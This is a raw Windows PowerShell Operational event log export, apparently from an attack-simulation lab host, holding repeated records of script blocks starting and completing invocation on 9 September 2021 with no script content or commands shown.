Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034966
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034965
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034964
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034962
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034960
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034959
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034958
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034957
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034956
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034955
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034954
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034953
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034952
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034950
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034948
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034947
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034946
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034944
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034942
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034940
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034938
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034936
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034935
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034934
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034933
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034932
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034931
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034930
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034929
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034928
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034926
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034925
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034924
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034922
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034920
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034919
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034918
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034917
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034916
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034914
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
